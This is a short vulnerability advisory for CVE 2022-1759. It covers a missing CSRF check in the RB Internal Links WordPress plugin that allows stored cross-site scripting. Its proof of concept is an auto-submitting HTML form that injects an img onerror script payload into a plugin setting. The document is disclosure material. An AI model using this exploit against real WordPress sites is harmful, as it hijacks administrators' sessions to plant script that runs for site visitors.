RB Internal Links <= 2.0.16 – Stored Cross-Site Scripting via CSRF | CVE 2022-1759

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, as well as perform Stored Cross-Site Scripting attacks due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=rb-internal-links" method="POST">
    <input type="text" name="rbinternal_submit" value="1">
    <input type="text" name="tinymce" value="0">
    <input type="text" name="tinymce" value="1">
    <input type="text" name="return_param" value="id">
    <input type="text" name="default_text" value="url">
    <input type="text" name="code_prefix" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="code_suffix" value="bbb">
    <input type="text" name="page_order" value="post_title">
    <input type="text" name="Submit" value="Änderungen speichern">
</form>
<script>
    document.getElementById("test").submit();
</script>